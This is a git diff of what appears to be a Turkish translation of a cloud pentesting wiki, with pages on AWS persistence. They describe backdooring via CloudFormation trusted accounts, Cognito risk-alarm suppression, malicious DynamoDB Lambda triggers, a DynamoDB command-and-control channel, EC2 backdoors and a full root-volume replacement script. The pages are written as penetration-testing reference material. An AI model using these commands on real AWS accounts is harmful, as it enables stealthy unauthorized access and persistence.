src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-elasticsearch-unauthenticated-enum.md => aws-elasticsearch-unauthenticated-enum/README.md} (51%) delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-iot-unauthenticated-enum.md => aws-iot-unauthenticated-enum/README.md} (56%) delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-media-unauthenticated-enum.md => aws-media-unauthenticated-enum/README.md} (53%) delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-rds-unauthenticated-enum.md => aws-rds-unauthenticated-enum/README.md} (59%) delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md deleted file mode 100644 index 1bbf9cb7a..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - API Gateway Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## API Gateway - -Daha fazla bilgi için: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### Kaynak Politikası - -API gateway'lerin kaynak politikasını değiştirerek kendinize erişim izni verin. - -### Lambda Yetkilendiricilerini Değiştirin - -Lambda yetkilendiricilerinin kodunu değiştirerek tüm uç noktalara erişim izni verin.\ -Ya da yetkilendiricinin kullanımını kaldırın. - -### IAM İzinleri - -Bir kaynak IAM yetkilendiricisi kullanıyorsa, IAM izinlerini değiştirerek kendinize erişim izni verebilirsiniz.\ -Ya da yetkilendiricinin kullanımını kaldırın. - -### API Anahtarları - -API anahtarları kullanılıyorsa, sürekliliği sağlamak için bunları sızdırabilir veya hatta yenilerini oluşturabilirsiniz.\ -Ya da API anahtarlarının kullanımını kaldırın. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md new file mode 100644 index 000000000..d12120ce7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md @@ -0,0 +1,32 @@ +# AWS - API Gateway Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## API Gateway + +For more information go to: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### Resource Policy + +Erişim sağlamak için API Gateway(leri) kaynak politikasını değiştirin + +### Lambda Authorizers'ı Değiştirin + +Tüm endpoints'e erişim verecek şekilde lambda authorizers kodunu değiştirin.\ +Ya da authorizer kullanımını kaldırın. + +### IAM Permissions + +Eğer bir kaynak IAM authorizer kullanıyorsa, IAM permissions'i değiştirerek kendinize erişim verebilirsiniz.\ +Ya da authorizer kullanımını kaldırın. + +### API Keys + +API keys kullanılıyorsa, persistence'yi sürdürmek için onları leak edebilir ya da yeni API keys oluşturabilirsiniz.\ +Ya da API keys kullanımını kaldırın. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md deleted file mode 100644 index e04dca1e6..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - Cloudformation Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFormation - -Daha fazla bilgi için erişin: - -{{#ref}} -../aws-services/aws-cloudformation-and-codestar-enum.md -{{#endref}} - -### CDK Bootstrap Yığını - -AWS CDK, `CDKToolkit` adında bir CFN yığını dağıtır. Bu yığın, kurban hesabına CDK projeleri dağıtmak için dış hesapların kullanılmasına izin veren `TrustedAccounts` adlı bir parametreyi destekler. Bir saldırgan, bu durumu kullanarak kendisine kurban hesabına süresiz erişim sağlayabilir; ya AWS cli kullanarak yığını parametrelerle yeniden dağıtarak ya da AWS CDK cli kullanarak. -```bash -# CDK -cdk bootstrap --trust 1234567890 - -# AWS CLI -aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md new file mode 100644 index 000000000..bb99e634a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Kalıcılık + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFormation + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +AWS CDK, `CDKToolkit` adlı bir CFN stack dağıtır. Bu stack, harici hesapların hedef hesaba CDK projeleri dağıtmasına izin veren `TrustedAccounts` parametresini destekler. Bir saldırgan, stack'i parametrelerle yeniden dağıtarak veya AWS cli ya da AWS CDK cli'yi kullanarak kendisine hedef hesaba süresiz erişim sağlamak için bunu kötüye kullanabilir. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md deleted file mode 100644 index 9c30be432..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - Cognito Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito - -Daha fazla bilgi için erişin: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Kullanıcı sürekliliği - -Cognito, kimlik doğrulaması yapılmamış ve kimlik doğrulaması yapılmış kullanıcılara roller vermeyi ve bir kullanıcı dizinini kontrol etmeyi sağlayan bir hizmettir. Bazı sürekliliği sağlamak için değiştirilebilecek birkaç farklı yapılandırma vardır, örneğin: - -- **Kullanıcı Havuzuna** kullanıcı tarafından kontrol edilen bir Kimlik Havuzu eklemek -- Kimlik doğrulaması yapılmamış bir Kimlik Havuzuna **IAM rolü vermek ve Temel kimlik doğrulama akışına izin vermek** -- Saldırgan giriş yapabiliyorsa **kimlik doğrulaması yapılmış bir Kimlik Havuzuna** vermek -- Veya verilen rollerin **izinlerini artırmak** -- **Özniteliklerle kontrol edilen kullanıcılar veya yeni kullanıcılar aracılığıyla oluşturma, doğrulama ve yetki yükseltme** yapmak bir **Kullanıcı Havuzunda** -- **Dış Kimlik Sağlayıcılarının** bir Kullanıcı Havuzuna veya bir Kimlik Havuzuna giriş yapmasına izin vermek - -Bu eylemleri nasıl yapacağınızı kontrol edin - -{{#ref}} -../aws-privilege-escalation/aws-cognito-privesc.md -{{#endref}} - -### `cognito-idp:SetRiskConfiguration` - -Bu yetkiye sahip bir saldırgan, Cognito kullanıcısı olarak giriş yapabilmek için risk yapılandırmasını değiştirebilir **alarm tetiklenmeden**. [**CLI'yi kontrol edin**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) tüm seçenekleri görmek için: -```bash -aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} -``` -Varsayılan olarak bu devre dışıdır: - -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md new file mode 100644 index 000000000..077ca3e79 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md @@ -0,0 +1,40 @@ +# AWS - Cognito Kalıcılığı + +{{#include ../../../../banners/hacktricks-training.md}} + +## Cognito + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Kullanıcı kalıcılığı + +Cognito, kimliği doğrulanmamış ve kimliği doğrulanmış kullanıcılara roller atamaya ve bir kullanıcı dizinini kontrol etmeye izin veren bir servistir. Kalıcılık sağlamak için birkaç farklı yapılandırma değiştirilebilir, örneğin: + +- **Adding a User Pool** kullanıcının kontrol ettiği bir Identity Pool'a eklemek +- Kimliği doğrulanmamış bir Identity Pool'a **IAM role verip Basic auth flow'a izin vermek** +- Veya saldırgan giriş yapabiliyorsa bir **authenticated Identity Pool**'a vermek +- Veya verilen rollerin **izinlerini yükseltmek** +- **Create, verify & privesc** kontrol edilen atributelere sahip kullanıcılar veya bir **User Pool**'daki yeni kullanıcılar üzerinden +- Bir **User Pool** veya **Identity Pool**'a giriş için harici Identity Providers'a izin vermek + +Bu işlemlerin nasıl yapılacağını inceleyin + +{{#ref}} +../../aws-privilege-escalation/aws-cognito-privesc/README.md +{{#endref}} + +### `cognito-idp:SetRiskConfiguration` + +Bu ayrıcalığa sahip bir saldırgan, risk yapılandırmasını değiştirerek bir Cognito kullanıcısı olarak alarmların tetiklenmesini engelleyerek oturum açabilir. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options: +```bash +aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} +``` +Varsayılan olarak bu devre dışıdır: + +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md deleted file mode 100644 index 5cfa35262..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ /dev/null @@ -1,59 +0,0 @@ -# AWS - DynamoDB Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -### DynamoDB - -Daha fazla bilgi için erişin: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### Lambda Arka Kapısı ile DynamoDB Tetikleyicileri - -DynamoDB tetikleyicilerini kullanarak, bir saldırgan bir tabloyla kötü niyetli bir Lambda fonksiyonunu ilişkilendirerek **gizli bir arka kapı** oluşturabilir. Lambda fonksiyonu bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde tetiklenebilir, bu da saldırgana AWS hesabı içinde rastgele kod çalıştırma imkanı tanır. -```bash -# Create a malicious Lambda function -aws lambda create-function \ ---function-name MaliciousFunction \ ---runtime nodejs14.x \ ---role \ ---handler index.handler \ ---zip-file fileb://malicious_function.zip \ ---region - -# Associate the Lambda function with the DynamoDB table as a trigger -aws dynamodbstreams describe-stream \ ---table-name TargetTable \ ---region - -# Note the "StreamArn" from the output -aws lambda create-event-source-mapping \ ---function-name MaliciousFunction \ ---event-source \ ---region -``` -Sürekliliği sağlamak için, saldırgan DynamoDB tablosunda öğeler oluşturabilir veya bunları değiştirebilir, bu da kötü niyetli Lambda fonksiyonunu tetikler. Bu, saldırgana Lambda fonksiyonu ile doğrudan etkileşim olmadan AWS hesabı içinde kod çalıştırma imkanı tanır. - -### DynamoDB'yi C2 Kanalı Olarak Kullanma - -Bir saldırgan, komutlar içeren öğeler oluşturarak ve bu komutları almak ve yürütmek için ele geçirilmiş örnekler veya Lambda fonksiyonları kullanarak DynamoDB tablosunu **komut ve kontrol (C2) kanalı** olarak kullanabilir. -```bash -# Create a DynamoDB table for C2 -aws dynamodb create-table \ ---table-name C2Table \ ---attribute-definitions AttributeName=CommandId,AttributeType=S \ ---key-schema AttributeName=CommandId,KeyType=HASH \ ---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ ---region - -# Insert a command into the table -aws dynamodb put-item \ ---table-name C2Table \ ---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ ---region -``` -Kompromize edilmiş örnekler veya Lambda fonksiyonları, yeni komutlar için C2 tablosunu periyodik olarak kontrol edebilir, bunları çalıştırabilir ve isteğe bağlı olarak sonuçları tabloya geri raporlayabilir. Bu, saldırgana, kompromize edilmiş kaynaklar üzerinde kalıcılık ve kontrol sağlama imkanı tanır. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md new file mode 100644 index 000000000..f5101b355 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md @@ -0,0 +1,59 @@ +# AWS - DynamoDB Kalıcılık + +{{#include ../../../../banners/hacktricks-training.md}} + +### DynamoDB + +Daha fazla bilgi için erişin: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### DynamoDB Tetikleyicileri ile Lambda Backdoor + +DynamoDB tetikleyicilerini kullanarak, saldırgan bir tabloya kötü amaçlı bir Lambda fonksiyonu ilişkilendirerek **sinsi backdoor** oluşturabilir. Bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde Lambda fonksiyonu tetiklenebilir ve bu, saldırganın AWS hesabı içinde istediği kodu çalıştırmasına olanak sağlar. +```bash +# Create a malicious Lambda function +aws lambda create-function \ +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region + +# Associate the Lambda function with the DynamoDB table as a trigger +aws dynamodbstreams describe-stream \ +--table-name TargetTable \ +--region + +# Note the "StreamArn" from the output +aws lambda create-event-source-mapping \ +--function-name MaliciousFunction \ +--event-source \ +--region +``` +Kalıcılığı sürdürmek için, saldırgan DynamoDB tablosunda öğeler oluşturabilir veya değiştirebilir; bu, kötü amaçlı Lambda function'ı tetikleyecektir. Bu, saldırganın Lambda function ile doğrudan etkileşime girmeden AWS account içinde kod çalıştırmasına olanak tanır. + +### DynamoDB bir C2 Channel olarak + +Bir saldırgan, komut içeren öğeler oluşturarak ve bu komutları almak ve yürütmek için ele geçirilmiş instances veya Lambda functions kullanarak bir DynamoDB tablosunu **command and control (C2) channel** olarak kullanabilir. +```bash +# Create a DynamoDB table for C2 +aws dynamodb create-table \ +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region + +# Insert a command into the table +aws dynamodb put-item \ +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region +``` +Ele geçirilmiş instances veya Lambda functions, yeni komutlar için C2 tablosunu periyodik olarak kontrol edebilir, bunları çalıştırabilir ve isteğe bağlı olarak sonuçları tabloya raporlayabilir. Bu, saldırganın ele geçirilmiş kaynaklar üzerinde persistence ve kontrol sağlamasına olanak tanır. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md deleted file mode 100644 index 941d0a27d..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ /dev/null @@ -1,54 +0,0 @@ -# AWS - EC2 Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### Güvenlik Grubu Bağlantı İzleme Sürekliliği - -Eğer bir savunucu **EC2 örneğinin tehlikeye girdiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ancak NACL'ler tüm alt ağa etki eder) veya **güvenlik grubunu değiştirerek** **herhangi bir türde gelen veya giden** trafiğe izin vermeyebilir. - -Eğer saldırganın makineden kaynaklanan bir **ters kablosu** varsa, SG değiştirildiğinde bile gelen veya giden trafiğe izin vermeyen, **bağlantı [**Güvenlik Grubu Bağlantı İzleme**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** nedeniyle kesilmeyecektir.** - -### EC2 Yaşam Döngüsü Yöneticisi - -Bu hizmet, **AMI'lerin ve anlık görüntülerin oluşturulmasını** **planlamaya** ve hatta **başka hesaplarla paylaşmaya** olanak tanır.\ -Bir saldırgan, **her hafta** tüm görüntülerin veya tüm hacimlerin **AMI'lerini veya anlık görüntülerini oluşturmak için** yapılandırabilir ve **kendi hesabıyla paylaşabilir**. - -### Planlı Örnekler - -Örneklerin günlük, haftalık veya hatta aylık olarak çalıştırılması mümkündür. Bir saldırgan, yüksek ayrıcalıklara sahip veya ilginç bir erişim sağlayan bir makine çalıştırabilir. - -### Spot Filosu Talebi - -Spot örnekleri, normal örneklerden **daha ucuzdur**. Bir saldırgan, **5 yıl için küçük bir spot filosu talebi** başlatabilir (örneğin), **otomatik IP** ataması ile ve saldırgana **spot örneği başladığında** **IP adresini** gönderen bir **kullanıcı verisi** ile. - -### Arka Kapı Örnekleri - -Bir saldırgan, örneklere erişim sağlayabilir ve bunları arka kapı ile açabilir: - -- Örneğin geleneksel bir **rootkit** kullanarak -- Yeni bir **genel SSH anahtarı** ekleyerek (bakınız [EC2 ayrıcalık yükseltme seçenekleri](../aws-privilege-escalation/aws-ec2-privesc.md)) -- **Kullanıcı Verisini** arka kapı ile açarak - -### **Arka Kapı Başlatma Yapılandırması** - -- Kullanılan AMI'yi arka kapı ile aç -- Kullanıcı Verisini arka kapı ile aç -- Anahtar Çifti'ni arka kapı ile aç - -### VPN - -Saldırganın VPC'ye doğrudan bağlanabilmesi için bir VPN oluşturun. - -### VPC Peering - -Kurban VPC ile saldırgan VPC arasında bir peering bağlantısı oluşturun, böylece kurban VPC'ye erişim sağlayabilir. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md new file mode 100644 index 000000000..eb7aa583d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md @@ -0,0 +1,62 @@ +# AWS - EC2 Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### Security Group Connection Tracking Persistence + +Eğer bir savunmacı bir **EC2 instance ele geçirildiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ama NACLs tüm subnet'i etkiler), veya **security group'u değiştirerek** **herhangi bir inbound veya outbound** trafiğe izin vermeyecek şekilde ayarlayabilir. + +Eğer saldırganın makineden kaynaklanan bir **reverse shell**'i varsa, SG değiştirilsede veya inbound/outbound engellense bile, bağlantı [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html) nedeniyle **sonlandırılmayacaktır**. + +### EC2 Lifecycle Manager + +Bu service, **AMIs ve snapshots** oluşturmayı **zamanlamaya** ve hatta **başka hesaplarla paylaşmaya** izin verir.\ +Bir saldırgan, tüm görüntülerin veya tüm volume'ların **her hafta** AMI veya snapshot oluşturulmasını yapılandırıp bunları **kendi hesabıyla paylaşacak** şekilde ayarlayabilir. + +### Scheduled Instances + +Instance'ları günlük, haftalık veya aylık çalışacak şekilde zamanlamak mümkündür. Bir saldırgan, yüksek ayrıcalıklı veya ilginç erişime sahip bir makineyi periyodik olarak çalıştırabilir. + +### Spot Fleet Request + +Spot instances, normal instance'lardan **daha ucuzdur**. Bir saldırgan örneğin **5 yıl** için küçük bir **spot fleet request** başlatabilir; **otomatik IP** ataması ve spot instance başladığında saldırgana **IP adresini** gönderen bir **user data** ile ve **yüksek ayrıcalıklı bir IAM role** ile. + +### Backdoor Instances + +Bir saldırgan instance'lara erişip onları backdoor'layabilir: + +- Örneğin geleneksel bir **rootkit** kullanarak +- Yeni bir **public SSH key** ekleyerek (bkz. [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md)) +- **User Data**'yı backdoor'layarak + +### **Backdoor Launch Configuration** + +- Kullanılan AMI'yi backdoor'la +- User Data'yı backdoor'la +- Key Pair'i backdoor'la + +### EC2 ReplaceRootVolume Task (Stealth Backdoor) + +Çalışan bir instance'ın root EBS volume'unu, saldırgan kontrollü bir AMI veya snapshot'tan oluşturulmuş olanla `CreateReplaceRootVolumeTask` kullanarak değiştir. Instance ENIs, IP'ler ve role'u korur; böylece görünürde değişmeden kötü amaçlı koda boot eder. + +{{#ref}} +../aws-ec2-replace-root-volume-persistence/README.md +{{#endref}} + +### VPN + +Bir VPN oluşturarak saldırganın VPC'ye doğrudan bağlanabilmesini sağla. + +### VPC Peering + +Hedef VPC ile saldırgan VPC'si arasında bir peering connection oluşturarak saldırganın hedef VPC'ye erişebilmesini sağla. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md new file mode 100644 index 000000000..53010fc39 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md @@ -0,0 +1,75 @@ +# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence) + +{{#include ../../../../banners/hacktricks-training.md}} + +ec2:CreateReplaceRootVolumeTask yetkisini kötüye kullanarak, çalışan bir instance'ın root EBS hacmini saldırganın kontrolündeki bir AMI veya snapshot'tan geri yüklenmiş olanla değiştirebilirsiniz. Instance otomatik olarak yeniden başlatılır ve ENIs, private/public IPs, bağlı root olmayan hacimler ile instance metadata/IAM rolünü koruyarak saldırganın kontrolündeki root dosya sistemiyle devam eder. + +## Gereksinimler +- Hedef instance EBS-backed olmalı ve aynı bölgede çalışıyor olmalı. +- Uyumlu AMI veya snapshot: hedef instance ile aynı mimari/virtualization/boot mode (ve varsa product codes). + +## Ön kontroller +```bash +REGION=us-east-1 +INSTANCE_ID= + +# Ensure EBS-backed +aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text + +# Capture current network and root volume +ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text) +ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) +PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text) +ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text) +``` +## AMI'den root'u değiştir (tercih edilen) +```bash +IMAGE_ID= + +# Start task +TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text) + +# Poll until state == succeeded +while true; do +STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text) +echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10; +done +``` +Snapshot kullanarak alternatif: +```bash +SNAPSHOT_ID= +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID +``` +## Kanıt / Doğrulama +```bash +# Instance auto-reboots; network identity is preserved +NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) + +# Compare before vs after +printf "ENI:%s IP:%s +ORIG_VOL:%s +NEW_VOL:%s +" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL" + +# (Optional) Inspect task details and console output +aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json +aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text +``` +Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot. + +## Notlar +- API, instance'ı manuel olarak durdurmanızı gerektirmez; EC2 yeniden başlatmayı (reboot) otomatik olarak gerçekleştirir. +- Varsayılan olarak, değiştirilen (eski) root EBS volume ayrılır ve hesaba bırakılır (DeleteReplacedRootVolume=false). Bu geri alma için kullanılabilir veya maliyetlerden kaçınmak için silinmelidir. + +## Geri Alma / Temizlik +```bash +# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"), +# you can create a snapshot and replace again from it: +SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text) +aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP + +# Or simply delete the detached old root volume if not needed: +aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md deleted file mode 100644 index b65c5144a..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - ECR Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Kötü Amaçlı Kod İçeren Gizli Docker Görüntüsü - -Bir saldırgan, bir ECR deposuna **kötü amaçlı kod içeren bir Docker görüntüsü yükleyebilir** ve bunu hedef 